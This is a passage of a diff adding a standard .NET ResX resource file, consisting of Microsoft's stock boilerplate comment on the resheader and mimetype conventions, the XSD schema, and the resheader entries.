+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>